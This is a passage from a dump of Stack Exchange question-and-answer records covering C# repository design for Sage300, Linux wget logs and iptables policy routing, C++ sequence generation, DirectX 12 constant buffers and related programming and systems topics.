<summary>    /// Projects the single that matches specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <exception cref=InvalidOperationException>Thrown when predicate matches more than a single result.</exception>    /// <param name=filter>A function expression that returns <c>true</c> for the only entity to return.</param>    /// <returns>Returns the single entity matching specified criteria.</returns>    public abstract TEntity Single(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Projects all entities that match specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <param name=filter>A function expression that returns <c>true</c> for all entities to return.</param>    /// <returns>Returns all entities matching specified criteria.</returns>    public abstract IEnumerable<TEntity> Select(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Updates the underlying View for the specified entity.    /// </summary>    /// <param name=entity>The existing entity with the modified property values.</param>    public abstract void Update(TEntity entity);    /// <summary>    /// Deletes the specified entity from the underlying View.    /// </summary>    /// <param name=entity>The existing entity to remove.</param>    public abstract void Delete(TEntity entity);    /// <summary>    /// Inserts a new entity into the underlying View.    /// </summary>    /// <param name=entity>A non-existing entity to create in the system.</param>    public abstract void Insert(TEntity entity);    /// <summary>    /// Gets a dictionary containing all composed views <see cref=TEntity/> maps to.    /// Dictionary key is each View's RotoID/name.    /// </summary>    protected abstract IDictionary<string, View> Views { get; }}Here is the PurchaseOrderHeadersRepository class - I have not yet implemented all CRUD operations, but the implemented ones work perfectly.public sealed class PurchaseOrderHeadersRepository : SageRepositoryBase<PurchaseOrderHeader>, IDisposable {    private View _headersView;    private View _commentsView;    private View _headersOptionalFieldsView;    private View _requisitionsView;    private View _functionsView;    private View _detailsView;    private View _detailsOptionalFieldsView;    private View _shipViaAddressesView;    private View _vendorsView;    private View _termsView;    public void Compose(DBLink context)    {        _headersView = context.OpenView(SageViews.HeadersViewId);        _commentsView = context.OpenView(SageViews.CommentsViewId);        _headersOptionalFieldsView = context.OpenView(SageViews.HeaderOptionalFieldsViewId);        _requisitionsView = context.OpenView(SageViews.RequisitionsViewId);        _functionsView = context.OpenView(SageViews.FunctionsViewId);        _detailsView = context.OpenView(SageViews.DetailsViewId);        _detailsOptionalFieldsView = context.OpenView(SageViews.DetailsOptionalFieldsViewId);        _shipViaAddressesView = context.OpenView(SageViews.ShipViaAddressesViewId);        _vendorsView = context.OpenView(SageViews.VendorsViewId);        _termsView = context.OpenView(SageViews.TermsViewId);        _headersView.Compose(new[]{ _commentsView, _detailsView, _requisitionsView, _functionsView, _headersOptionalFieldsView });        _detailsView.Compose(new[]{ _headersView, _commentsView, _functionsView, null, null, _detailsOptionalFieldsView });        _commentsView.Compose(new[]{ _headersView, _detailsView });        _requisitionsView.Compose(new[]{ _headersView, _functionsView });        _functionsView.Compose(new[]{ _headersView, _commentsView, _detailsView, _requisitionsView });        _views = new Dictionary<string, View>        {            { SageViews.HeadersViewId, _headersView },            { SageViews.DetailsViewId, _detailsView },            { SageViews.CommentsViewId, _commentsView },            { SageViews.RequisitionsViewId, _requisitionsView },            { SageViews.FunctionsViewId, _functionsView }        };    }    private IDictionary<string, View> _views;    protected override IDictionary<string, View> Views    {        get { return _views; }    }    public override PurchaseOrderHeader Single(Expression<Func<PurchaseOrderHeader, bool>> filter)    {        var result = Select(filter).ToList();        return result.Single();    }    public override IEnumerable<PurchaseOrderHeader> Select(Expression<Func<PurchaseOrderHeader, bool>> filter)    {        var searchFilter = filter.ToFilterExpression();        _headersView.Browse(searchFilter, true);        if (!_headersView.GoTop())        {            yield break;        }        do        {            yield return ReadEntity();        }        while (_headersView.GoNext());    }    public override void Update(PurchaseOrderHeader entity)    {        throw new NotImplementedException();    }    public override void Delete(PurchaseOrderHeader entity)    {        throw new NotImplementedException();    }    public override void Insert(PurchaseOrderHeader entity)    {        throw new NotImplementedException();    }    public void Dispose()    {        _headersView.Dispose();        _commentsView.Dispose();        _headersOptionalFieldsView.Dispose();        _requisitionsView.Dispose();        _functionsView.Dispose();        _detailsView.Dispose();        _detailsOptionalFieldsView.Dispose();        _shipViaAddressesView.Dispose();    }}I don't like that I need to compose the views explicitly, and put that responsibility on the caller - especially since the Compose(DBLink) method isn't part of the interface. I thought of lazy-composing the views on first access, but then I would require the DBLink through the constructor and stored as a field, but I couldn't dispose it because I don't own the object - would it be a good idea to do that?Other than that.. I'd be happy to hear anyone with experience with the Sage300 View API, tell me what beartrap I might have just stuck my foot in with this code. Or is this clever code that will bite me later? Looks clear enough?All feedback welcome.Almost forgot - here's the GetPropertyInfos extension method, performing the reflection magic:public static IEnumerable<EntityPropertyInfo<TEntity>> GetPropertyInfos<TEntity>(this TEntity entity)    where TEntity : class, new(){    var type = typeof (TEntity);    var mapsToView = type.GetCustomAttribute<MapsToAttribute>();    if (mapsToView == null)    {        throw new InvalidOperationException(Entity type is missing a MapsToAttribute.);    }    return from property in typeof (TEntity).GetProperties()           let mapsToField = property.GetCustomAttribute<MapsToAttribute>()           where mapsToField != null           select new EntityPropertyInfo<TEntity>(entity, property, mapsToView, mapsToField);}Does it get any cleaner?"  , "title": "Wrapping the Sage300 View API with... a Repository"  , "tags": "c#;api;reflection;repository"  , "accepted_answer": "The code looks good, but I can see a couple of things that could be a bit cleaner:e.g. this method:public override PurchaseOrderHeader Single(Expression<Func<PurchaseOrderHeader, bool>> filter){    var result = Select(filter).ToList();    return result.Single();}result is a poor name IMO as it's a list (even if it only has one item). I think it should be pluralised: results.There's no need to call .ToList() which I think makes the intermediate variable pointless:public override PurchaseOrderHeader Single(Expression<Func<PurchaseOrderHeader, bool>> filter){    return Select(filter).Single();}Regarding the DBLink dependency... I definitely think you should either pass it in as a constructor parameter or create a factory method for your repository. Even when you do that, I don't see why you'd need to store the link as a field which means your Dispose implementation would be unchanged.FWIW, I would go with a Create method over the constructor as you're doing some work there and I don't know whether any of that takes time... Either way, by having an extra method that the caller has to know about before they can use the instance is always frustrating.You could create it as an extension method on the DBLink if you want to treat that a bit like a unit of work. You could leave your create + initialize as separate steps, or you could create a static factory method.public class DBLinkExtensions{      IRepository<PurchaseOrderHeader> GetPurchaseOrderHeadersRepository(this DBLink link)     {         if (link == null) throw new ArgumentNullException(link);         return new PurchaseOrderHeadersRepository().Compose(link);         // OR         // return PurchaseOrderHeadersRepository.Create(link);     }}Then your client code would be:using (var dbLink = GetTheDBLink(...))using (var purchaseOrderHeadersRepository = dbLink.GetPurchaseOrderHeadersRepository()){    // Your stuff.}Just in case you're interested, what you're creating here is called an Anticorruption Layer. You're hiding all of the nastiness of the 3rd party library with a well designed API - a very good idea!"  } 
{  "id": "_unix.363765"  , "question": "I have noticed on my Arch Linux (with GNOME 3.24.2 and GDM) installation that my ~ is filled with files like this and they keep increasing:-rw-r--r--   1 root root    0 May  8 00:01 wget-log-rw-r--r--   1 root root    0 May  8 00:01 wget-log.1-rw-r--r--   1 root root    0 May  8 00:01 wget-log.2-rw-r--r--   1 root root    0 May  8 00:01 wget-log.3-rw-r--r--   1 root root    0 May  8 00:01 wget-log.4-rw-r--r--   1 root root    0 May  8 20:04 wget-log.5-rw-r--r--   1 root root    0 May  8 20:04 wget-log.6-rw-r--r--   1 root root    0 May  8 20:04 wget-log.7-rw-r--r--   1 root root    0 May  8 20:04 wget-log.8-rw-r--r--   1 root root    0 May  8 20:04 wget-log.9In fact, there would be more if I didn't delete them every day. I have noticed these files appearing after running sudo pacman -Syu, but I have also observed them not appearing after doing so so perhaps it was just coincidence? But I would really like to track down the cause of these empty log files appearing in ~ as they are actually quite annoying and seem to serve no real purpose.So what are they caused by and is there any way I get either stop them from appearing or have them do so in a different location?"  , "title": "Why do I keep getting wget-log file in ~ on Arch Linux?"  , "tags": "arch linux;logs;configuration;wget"  , "accepted_answer": "This looks like a bug, a regression from wget 1.18 to wget 1.19.1 which is used by Arch Linux. I have opened a bug report here: https://savannah.gnu.org/bugs/?51181"  } 
{  "id": "_codereview.25315"  , "question": "Given two integers, X and Y, you must create all possible integer sequences of length Y using the numbers from 1 to X.For certain reasons, the function must return a deque<deque<int> > representing such (the primary deque holds all my sequences - each of then is a deque of ints).This is not a permutation generator.Example InputX = 3, Y = 3This means that I require sequences of length 3 each one. To compose the sequences, I use the integers 1, 2, and 3.Example OutputThe previous input should produce:1 1 1 1 1 2 1 1 3 1 2 1 1 2 2 1 2 3 1 3 1 1 3 2 1 3 3 2 1 1 2 1 2 2 1 3 2 2 1 2 2 2 2 2 3 2 3 1 2 3 2 2 3 3 3 1 1 3 1 2 3 1 3 3 2 1 3 2 2 3 2 3 3 3 1 3 3 2 3 3 3 My IdeaI'm not very good with this stuff. My approach is:Create a start and end integerStart is 1 repeated Y times. So in the previous example it is 111End is X repeated Y times. So in the previous example it is 333I count i from start to end.If i contains an invalid digit (like 4, 5,...), abort this sequence.If i is valid, then this sequence is valid, thus add it to my resulting deque.When a sequence is valid, due to my needs, I split the integer and make a deque of each of its digits.Why I need a reviewI think it is pretty clear that this method doesn't sound very efficient. So many wasted iterations! Can you help me improve this code, and, perhaps, shorten it?My AttemptNote, you may notice that instead of sequences I call then procedures.#include <iostream>#include <sstream>#include <deque>using namespace std;// Converts a value to any typetemplate <typename T,typename S>T convert(S original) {    stringstream ss; ss << original;    T result; ss >> result;    return result;}// The actual functiondeque<deque<int> > allPossibleProcedures(int values, int depth) {    deque<deque<int> > result;    // I create a start point and an end point for my counting    string minString; for (int d = 0; d < depth; ++d) { minString.append(1); }    string limitString; for (int d = 0; d < depth; ++d) { limitString.append(convert<string>(values)); }    int start = convert<int>(minString);    int limit = convert<int>(limitString);    // I begin counting    for (int i = start; i <= limit; ++i) {        deque<int> procedure;        string text = convert<string>(i);        bool ok = true;        for (int c = 0; c < text.length() && ok; ++c) {            int x = convert<int>(text.at(c));            if (x <= values && x > 0) {                // This is a valid character. Add to procedure.                procedure.push_back(x);            }else{                // Not a valid character. Abort this procedure.                ok = false;                break;            }        }        if (ok) {            result.push_back(procedure);        }    }    return result;}int main(int argc, const char * argv[]) {    deque<deque<int> >procedures = allPossibleProcedures(3,3);    for (int i = 0; i < procedures.size(); ++i) {        for (int j = 0; j < procedures[i].size(); ++j) {            cout << procedures[i][j] <<  ;        }        cout << endl;    }    return 0;}"  , "title": "All integer sequences given amount of integers and length of sequence"  , "tags": "c++"  , "accepted_answer": "I don't have time to do a style review at the moment, so until I can expand on this later, I'll just suggest a different algorithm.Rather than depending on string manipulation and generating more items than you need, just take an arithmetic approach.In particular, you can take a deque of ints and add 1 to it until it is equal to the max value.std::deque< std::deque<int> > results;std::deque<int> min(Y, 1);std::deque<int> max(Y, X);for (; min != max; min = increment(min, Y)) {    results.push_back(min);}results.push_back(max);As a bit more explanation, a std::deque<unsigned int> is frequently used as a make-shift arbitrary precision integer. The way this is done is to have a sign flag, and then to see each element of the deque as part of a radix = std::numeric_limits<unsigned int>::max() number.As a concrete example, a std::deque<unsigned char> d = {95, 14, 230} would represent 95 * 255^2 + 14 * 255^1 + 230 * 255^0 in the same way common base ten 134 = 1 * 10^2 + 3 * 10^2 + 4 * 10^0.Anyway, I'm getting carried away with this. What you're in need of is a much more specific case of this. Rather than making a generic adder, all you have to do is just add 1, and if that causes the lowest digit to overflow, push it back down to a 1 and carry the add up the chain.std::deque<int> increment(std::deque<int> d, int Y){    bool carry = true;    for (std::deque<int>::reverse_iterator it = d.rbegin(), end = d.rend(); it != end; ++it) {        *it += 1;        if (*it > Y) {            *it = 1;        } else {            carry = false;        }    }    if (carry) {        d.push_front(1);    }    return d;}   The above code is untested and unoptimized. It can probably be written more compactly, but it's been a long time since I've done anything like this, and I'm just trying to illustrate how it can be done arithmetically. Also, if you're concerned about performance, you might want to have increment mutate d rather than return a modified copy."  } 
{  "id": "_cstheory.8799"  , "question": "Suppose I have a simple polygon $S$ and an integer $k$.  What are some existing approaches for finding the smallest radius $r$ such that I can cover $S$ with $k$ circles of radius $r$?  How about if $r$ is fixed, and I want to minimize $k$?"  , "title": "Covering a simple polygon with circles"  , "tags": "cg.comp geom;planar graphs;set cover"  , "accepted_answer": "Use the k-center clustering algorithm: see Section 4.2 in http://goo.gl/pLiEO.One can get 1+eps approximation algorithm using sliding grids. It is natural to assume the problem is NP-Hard because of the work by Feder and Greene. "  } 
{  "id": "_webapps.82525"  , "question": "Recently, trying to log in to Endomondo with my Facebook ID, I saw error message along the lines: Could not log you in. Some software (like AdBlock) can interfere with login.(This is not exact message, I did not make a copy).I know, that some websites detect AdBlock or similar tools and then try to convince user to turn it off for their site, either by guilt tripping the user or even by disabling some functionality and content.Can tools like AdBlock really interfere with Facebook login? Or is it some clever way from a website to convince me to turn AdBlock off?"  , "title": "Can AdBlock interfere with Facebook login?"  , "tags": "browser addons"  } 
{  "id": "_scicomp.13005"  , "question": "I want to solve the following system of nonlinear reaction-diffusion equations (Schnakenberg Turing) using FEM methods (such as deal.ii):$$ \\partial_{t} u = \\Delta u + \\gamma\\left(a-u+uv\\right)$$$$ \\partial_{t} v = d\\Delta v + \\gamma\\left(b-uv\\right)$$where d, $\\gamma$, a, b being constants.Probably I need to first apply a time integration scheme (such as Crank-Nicholson, implicit Runge-Kutta), and then FE space discretization.Question: How should I choose and perform the time integration for this nonlinear system? Any hints for very similar examples or specific literature?"  , "title": "Time Integration of a nonlinear reaction-diffusion system"  , "tags": "pde;finite element;nonlinear equations;time integration"  } 
{  "id": "_unix.177789"  , "question": "I'm running Linux Mint 17.1, but this probably applies to most distros anyway.I just installed LM cleanly from a bootable USB (which is fine - I checked) and I need to install the appropriate drivers from NVIDIA (which I can't do), which requires the X server to be closed. I try sudo /etc/init.d/mdm stop, and that takes me to a fully functional terminal - except from one thing. The entire screen is black, no text. Commands work fine, however.Any pointers as to how I can fix this problem?lshw -C display output:  *-display UNCLAIMED        description: VGA compatible controller   product: GM107 [GeForce GTX 750 Ti]   vendor: NVIDIA Corporation   physical id: 0   bus info: pci@0000:01:00.0   version: a2   width: 64 bits   clock: 33MHz   capabilities: pm msi pciexpress vga_controller cap_list   configuration: latency=0   resources: memory:fd000000-fdffffff memory:d0000000-dfffffff memory:ce000000-cfffffff ioport:dc00(size=128) memory:feb00000-feb7ffffEdit: have now installed the NVIDIA drivers - they work, but still no terminal."  , "title": "Blank console when exiting X"  , "tags": "linux mint;xorg;console;nvidia"  } 
{  "id": "_unix.302641"  , "question": "OK so I made a bootable USB with Kali on it and I've used it on two different laptops and it booted just fine, but when I try booting it on my laptop it just skips the USB and boots from the hard drive. The two laptops that it did boot on were running Windows (one had vista the other had 10) but on mine I have Ubuntu installed and before that I was running mint, I don't know if that's the problem but it's the only thing I can think of right now."  , "title": "Booting Kali Linux from live usb, USB skipped"  , "tags": "kali linux;live usb"  } 
{  "id": "_unix.106392"  , "question": "I have been using VNC for a long time for development and now I decided to move to iterm2 and screen.But there is a small problem.I have to ssh into a remote machine and use vim there.And I want to enable set mouse=a option.Also I need to be able to use the remote vim clipboard in the ssh session available in the mac applications.For this, I used these instructions, but they did not help.I installed x11, selected the needed options in the preferences->pasteboard and ssh'ed to the remote machine with ssh -x akshya@aksh-vm.For some reason this does not seem to work. Am I missing some portion?"  , "title": "Use remote ViM clipboard from iterm2 on Mac OS X"  , "tags": "ssh;vim;osx"  , "accepted_answer": "It's possible the remote machine's vim doesn't support the X clipboard/selection registers. If you type :ver there, does it say +clipboard or +xterm_clipboard?If not, you may have to resort to other means to use a clipboard, such as running clipper on your Mac, plus always forwarding port 8377, plus adding necessary key bindings to your Vim config files. The Clipper page is sparse but the demo video should tell you what you need to know to use it."  } 
{  "id": "_softwareengineering.96383"  , "question": "I understand that exception in program means that something unpredictable happened (but not so bad to unavoidably crash the application!). The try-catch-finally sequence makes me sad because the program is harder to read (one more level of curly brackets) and harder to understand (jump from anywhere to catch in case of exception happened, it is deprecated GOTO).Since we have OOP, I suggest to create proxy class which in case of exception consumes it silently, returns some default value and fires onError event. So if we propagate exception, we have onError call instead, and the two disadvantages mentioned above are solved. See the example in C#:Standard exception attitude  class Computer {    // let's say we need to propagate exception and decide what to do lately    public int divide(int a, int b) {      int result = a / b;      return result;    }  }  class Program {    public static void Main() {      Computer c = new Computer();      try {        Console.WriteLine(c.divide(1, 0));      }      catch(ArithmeticException e) {        // we are teleported here from the middle of Computer.divide method!        // do something      }    }  } // three levels of brackets (without namespace) in such trivial example??onError handler attitude  class ProxyComputer {    private Computer c = new Computer();    // it is not virtual, can not be overriden    public int divide(int a, int b) {      // alas, exceptions are standard, but we can stop them in this class      try {        return c.divide(a, b);      }      catch(ArithmeticException e) {        this.onError(e);      }    }    protected virtual void onError(Exception e) {      // do nothing    }  }  class MoreStrictComputer : ProxyComputer {    protected override void onError(Exception e) {      // mail to IT department, revert all transactions etc.      Console.WriteLine(I can't seem to do that);    }  }  class Program {    public static void Main() {      ProxyComputer pc = new ProxyComputer();      MoreStrictComputer msc = new MoreStrictComputer();      // fires onError instead of exception      Console.WriteLine(pc.divide(1, 0)); // no problem      Console.WriteLine(msc.divide(1, 0)); // this time it won't be so easy    }  } // only two levels of bracketsOften I see empty (or trivial) catch blocks. This means programmers often consider exception as no problem situation, but with standard exception attitude, they still have to bother with try-catch. The second attitude makes it optional.So the question is: Which solution would you prefer? Is this some kind of pattern or am I missing something?Edit As Paul Equis suggests, throw e; should be default onError behavior, not do-nothing silence swalowing."  , "title": "Is onError handler better than exceptions?"  , "tags": "c#"  , "accepted_answer": "I agree with Paul Equis's answer that exceptions should be preferred, but with a caveat.  One major feature of exceptions is that they break control flow.  This is usually desirable, but if it isn't then some other pattern might be useful for augmenting the exception system.For example, suppose you're writing a compiler.  Exceptions might not be the best choice here, because throwing an exception stops the compile process.  This means that only that first error would be reported.  If you want to keep reading the source code in order to try and find more errors (as the C# and VB compilers do), then some other system is needed for reporting errors to the outside world.The easiest way to take care of that would be saving the exceptions to a collection and then returning it. However, using an OnError delegate might be worthwhile if you want to give the caller an opportunity to give advice on how to proceed after each error.  That sounds like an uncommon scenario to me, though.  If you're not asking the caller to really micro-manage error handling, then using some flags to specify error-handling behavior would be less fiddly to work with."  } 
{  "id": "_unix.56197"  , "question": "I've noticed that ls -l doesn't only change the formatting of the output, but also how directory symlinks are handled:> ls /rmnbiweekly.sh  daily.sh  logs ...> ls -l /rmnlrwxrwxrwx 1 root root 18 Feb 11  2011 /rmn -> /root/maintenance/I'd like to get a detailed listing of what's in /rmn, not information about the /rmn symlink.One work-around I can think of is to create a shell function that does something like this:cd /rmnls -lcd -But that seems too hacky, especially since it messes up the next use of cd -. Is there a better way?(I'm on CentOS 2.6.9)"  , "title": "How to ls using the long format (-l) while still following directory symlinks?"  , "tags": "ls;symlink"  , "accepted_answer": "See if your ls has the options: -H, --dereference-command-line     follow symbolic links listed on the command line  --dereference-command-line-symlink-to-dir     follow each command line symbolic link that points to a directoryIf those don't help, you can make your macro work without messing up cd - by doing:(cd /rmn ; ls -l)which runs in a subshell."  } 
{  "id": "_unix.207007"  , "question": "I'm trying to use iptables to load balance web traffic over multiple DSL lines by marking the packets and routing based on the mark. I'm working with CentOS 6.6, Kernel 2.6.32-504.16.2.el6.x86_64, Iptables v1.4.7.For now I've done the following, as a proof of concept:iptables -t mangle -A PREROUTING -j MARK --set-mark 2iptables -t mangle -A OUTPUT -j MARK --set-mark 2Plus some logging and failsafe for the remote connection:iptables -t mangle -A PREROUTING -p tcp --dport 22 -j ACCEPTiptables -t mangle -A OUTPUT -j LOG --log-prefix output iptables -t mangle -A PREROUTING -j LOG --log-prefix prerouting So iptables -t mangle -L -v gives me Chain PREROUTING (policy ACCEPT 177 packets, 93050 bytes) pkts bytes target     prot opt in     out     source               destination  164 13112 ACCEPT     tcp  --  any    any     anywhere             anywhere            tcp dpt:ssh 7687 4287K MARK       all  --  any    any     anywhere             anywhere            MARK set 0x2 7687 4287K LOG        all  --  any    any     anywhere             anywhere            LOG level warning prefix `prerouting 'Chain INPUT (policy ACCEPT 184 packets, 91203 bytes) pkts bytes target     prot opt in     out     source               destinationChain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target     prot opt in     out     source               destinationChain OUTPUT (policy ACCEPT 25 packets, 3100 bytes) pkts bytes target     prot opt in     out     source               destination  304 38367 MARK       all  --  any    any     anywhere             anywhere            MARK set 0x2  304 38367 LOG        all  --  any    any     anywhere             anywhere            LOG level warning prefix `output 'Chain POSTROUTING (policy ACCEPT 25 packets, 3100 bytes) pkts bytes target     prot opt in     out     source               destinationI've set up alternative routing tables. ip route show table DSL2 gives me10.77.0.0/16 via 112.112.224.1 dev eth4112.112.0.0/16 via 112.112.224.1 dev eth4default via 10.177.55.33 dev eth2(112.112.0.0/16 and 10.77.0.0/16 via eth4 is the LAN, 10.177.55.33 via eth2 is one of the DSL routers.)And I added a policy to use table DSL2 when mark is set to 2. ip rule shows: 0:      from all lookup local32764:  from all fwmark 0x2 lookup DSL232765:  from all fwmark 0x1 lookup DSL132766:  from all lookup main32767:  from all lookup default(Ignore DSL1 for now. It comes into play when it's working so far.)The logs show that the mark is being applied: (end of the line)Jun  1 17:05:03 squidXXX kernel: output IN= OUT=eth4 SRC=112.112.xxx.xxx DST=10.77.xxx.xxx LEN=312 TOS=0x08 PREC=0x00 TTL=64 ID=60789 DF PROTO=TCP SPT=22 DPT=49328 WINDOW=543 RES=0x00 ACK PSH URGP=0 MARK=0x2 But when I try to connect to an outside address I get a network unreachable reply, both when pinging from the local machine or when connecting to the proxy from another machine. Note: I have a squid proxy running on that machine as well which is working as intended.When I add 10.177.55.33 as the default route in the main routing table I can reach outside networks just fine.Now I've read about someone having the same problem and solving it be replacing the default route with target net 0.0.0.0/1. Not only is this wrong (any addresses above 128.0.0.0 wouldn't be accessible) but it also doesn't work in my case. Anyways what I get from it is that my routing table could be faulty so it takes the main routing table instead, but I don't see any errors. Or are there known bugs?Following this lead I tried adding ip rule add from all lookup DSL2 prio 1002 which routes the packets as expected, so that's probably not it.So it looks to me as if ip rule can't properly read the MARK or not use the table specified. But why?"  , "title": "ip rule not acting on fwmark"  , "tags": "iptables;routing"  } 
{  "id": "_computergraphics.3645"  , "question": "Using VTK 7.0 I have found that rendering a 20k triangle STL model takes approximately 17ms on my Nvidia GTX970. However, I am only interested in the silhouette of this model (like the image below) and was wondering if: a) such speeds are reasonable for this model size, and b) since I am not really interested in a full render, is there a much faster way to compute just that silhouette? I considered a ray tracing approach where I just compute whether or not each pixel hits the model, but since I am only interested in speed I do not know if this is a good route to pursue. As a side note, these questions need not be specific to VTK - I am really just conerned with the fastest way to utilize a GPU to compute a silhouette (suggestions algorithms, theory, or libraries are all all welcome!) and what reasonable times I can expect for such model sizes."  , "title": "How fast should I expect to render the silhouette of a 20k triangle model?"  , "tags": "rendering;silhouette;vtk"  } 
{  "id": "_unix.195271"  , "question": "I want to write a script to set permissions on a windows share from linux client. I know that I can use smbclient, cifs or smbfs to mount windows share from linux. But I have no idea how to set permissions on windows share for a specific user from linux. Any help appreciated.Just for the information, I can set permissions for windows share from windows with cacls. Is there any equivalent command/procedure to set permissions on windows share from linux?"  , "title": "How can I set permissions on a windows share from linux client"  , "tags": "linux;smb"  } 
{  "id": "_computerscience.1698"  , "question": "I can't really seem to figure out how to bind two constant buffers to my shaders. I have them described like so. One in slot b0 and the other in slot b1.cbuffer WVPData : register(b0){    matrix model;    matrix view;    matrix projection;};cbuffer DirLightData : register(b1){   float4 Ambient;   float4 Diffuse;   float4 Specular;   float3 Direction;   float pad;};Then for the root signature it's described like so.CD3DX12_DESCRIPTOR_RANGE range[2];CD3DX12_ROOT_PARAMETER parameter[1];range[0].Init(D3D12_DESCRIPTOR_RANGE_TYPE_CBV, 1, 0);range[1].Init(D3D12_DESCRIPTOR_RANGE_TYPE_CBV, 1, 1);parameter[0].InitAsDescriptorTable(_countof(range), range, D3D12_SHADER_VISIBILITY_ALL);D3D12_ROOT_SIGNATURE_FLAGS rootSignatureFlags =D3D12_ROOT_SIGNATURE_FLAG_ALLOW_INPUT_ASSEMBLER_INPUT_LAYOUT | // Only the input assembler stage needs access to the constant buffer.D3D12_ROOT_SIGNATURE_FLAG_DENY_DOMAIN_SHADER_ROOT_ACCESS |D3D12_ROOT_SIGNATURE_FLAG_DENY_GEOMETRY_SHADER_ROOT_ACCESS |D3D12_ROOT_SIGNATURE_FLAG_DENY_HULL_SHADER_ROOT_ACCESS;CD3DX12_ROOT_SIGNATURE_DESC descRootSignature;descRootSignature.Init(_countof(parameter), parameter, 0, nullptr, rootSignatureFlags);ComPtr<ID3DBlob> pSignature;ComPtr<ID3DBlob> pError;DX::ThrowIfFailed(D3D12SerializeRootSignature(&descRootSignature, D3D_ROOT_SIGNATURE_VERSION_1, pSignature.GetAddressOf(), pError.GetAddressOf()));DX::ThrowIfFailed(d3dDevice->CreateRootSignature(0, pSignature->GetBufferPointer(), pSignature->GetBufferSize(), IID_PPV_ARGS(&mRootSignature)));I believe that's correct. I think the problem I have is when I create the constant buffer and the cbv below. Specifically right under the Describe and create the constant buffer view. comment. I don't really understand what's going on.// Create a descriptor heap for the constant buffers.{    D3D12_DESCRIPTOR_HEAP_DESC heapDesc = {};    heapDesc.NumDescriptors = 2;    heapDesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV;    // This flag indicates that this descriptor heap can be bound to the pipeline and that descriptors contained in it can be referenced by a root table.    heapDesc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_SHADER_VISIBLE;    DX::ThrowIfFailed(d3dDevice->CreateDescriptorHeap(&heapDesc, IID_PPV_ARGS(&mCbvHeap)));    mCbvHeap->SetName(LConstant Buffer View Descriptor Heap);}// Create the constant buffer.DX::ThrowIfFailed(d3dDevice->CreateCommittedResource(  &uploadHeapProperties,  D3D12_HEAP_FLAG_NONE,  &CD3DX12_RESOURCE_DESC::Buffer(CAlignedWVPDataSize),  D3D12_RESOURCE_STATE_GENERIC_READ,  nullptr,  IID_PPV_ARGS(&mWVPConstantBuffer)));DX::ThrowIfFailed(d3dDevice->CreateCommittedResource(  &uploadHeapProperties,  D3D12_HEAP_FLAG_NONE,  &CD3DX12_RESOURCE_DESC::Buffer(CAlignedDirLightDataSize),  D3D12_RESOURCE_STATE_GENERIC_READ,  nullptr,  IID_PPV_ARGS(&mDirLightConstantBuffer)));// Describe and create a constant buffer view.D3D12_CONSTANT_BUFFER_VIEW_DESC cbvDesc[2];// = {};cbvDesc[0].BufferLocation = mWVPConstantBuffer->GetGPUVirtualAddress();cbvDesc[0].SizeInBytes = CAlignedWVPDataSize;cbvDesc[1].BufferLocation = mDirLightConstantBuffer->GetGPUVirtualAddress();cbvDesc[1].SizeInBytes = CAlignedDirLightDataSize;CD3DX12_CPU_DESCRIPTOR_HANDLE cbvHandle0(mCbvHeap->GetCPUDescriptorHandleForHeapStart(), 0, 0);d3dDevice->CreateConstantBufferView(cbvDesc, cbvHandle0);CD3DX12_CPU_DESCRIPTOR_HANDLE cbvHandle1(mCbvHeap->GetCPUDescriptorHandleForHeapStart(), d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV), 1);d3dDevice->CreateConstantBufferView(cbvDesc, cbvHandle1);// Initialize and map the constant buffers. We don't unmap this until the// app closes. Keeping things mapped for the lifetime of the resource is okay.DX::ThrowIfFailed(mWVPConstantBuffer->Map(0, nullptr, reinterpret_cast<void**>(&mMappedWVPBuffer)));memcpy(mMappedWVPBuffer, &mWVPData, sizeof(mWVPData));  DX::ThrowIfFailed(mDirLightConstantBuffer->Map(0, nullptr, reinterpret_cast<void**>(&mMappedDirLightBuffer)));memcpy(mMappedDirLightBuffer, &mDirLightData, sizeof(mDirLightData));Note: Slot b0 works perfect. I can change world view projection data just fine. But b1 does not work at all. What am I doing wrong?"  , "title": "DirectX 12 Constant Buffer Binding"  , "tags": "c++;directx12;constant buffer"  , "accepted_answer": "The problem looks like it's in this line:d3dDevice->CreateConstantBufferView(cbvDesc, cbvHandle1);The first parameter should be &cbvDesc[1]. As it is now, you're setting up two copies of cbvDesc[0].Also, it looks like you've reversed the second and third arguments to the cbvHandle1 constructor: the second argument should be the offset (1) and the third should be the increment size. Not that it really matters, since those two values just get multiplied together anyway.By the way, I don't think you need to set up two separate descriptor ranges when creating the root signature; since they're contiguous, you could just use a single range of two descriptors. But it shouldn't make a difference to the results."  } 
{  "id": "_unix.346797"  , "question": "I'm considering to create a encrypted partition to store some documents and programs using Dm-crypt + Luks. Let's say it will be mounted on /mnt/secret.My question is: is it safe to have symbolic links in my plain partitions pointing to files in /mnt/secret?My apps will also store paths to /mnt/secret, for example, list of recently used documents."  , "title": "Partition encryption vs symbolic links"  , "tags": "disk encryption"  , "accepted_answer": "A symbolic link is essentially just a special kind of pseudo-file containing the target path. There is no information about the contents, size, etc., of the target file.Besides leaking names of encrypted files, there should be no problem with having symbolic links to an encrypted partition  security-wise, it is equivalent to a text file containing the target path."  } 
{  "id": "_cogsci.8572"  , "question": "I've recently experienced a number of hypnogogic near sleep states characterized by change in thinking (stage 1-2 sleep). I noticed that if I let go and get absorbed in the state, I can follow it.I can describe the hypnogogic sensation as a feeling of empty space without a definite boundary. Typically the state arises at 17-23 minutes after bedtime (I'm using a timer to check). However, as soon as I activate inner voice or think a thought spoken in that voice, those other near sleep states get completely suppressed. Literally, a single word disrupts these states.This makes me interested what happens in the brain when a person thinks using a single threaded, spoken train of thought? (I'm typing a question on cogsci right now or I'm reading a question right now) Is there some part of the brain that gets activated while others get suppressed? In particular I'm interested why spoken thought suppresses other non-verbal states that a brain can consciously experience?Internal monologue, also known as inner voice, internal speech, or  verbal stream of consciousness is thinking in words. It also refers to  the semi-constant internal monologue one has with oneself at a  conscious or semi-conscious level.It would be interesting to know if there's some difference that fMRI can show between a brain that's reading using voice and brain that's reading non-verbally. I recall reading about similar phenomenon in the eastern spiritual traditions, like Taoism or Buddhism, where the states of mind they are trying to achieve are also 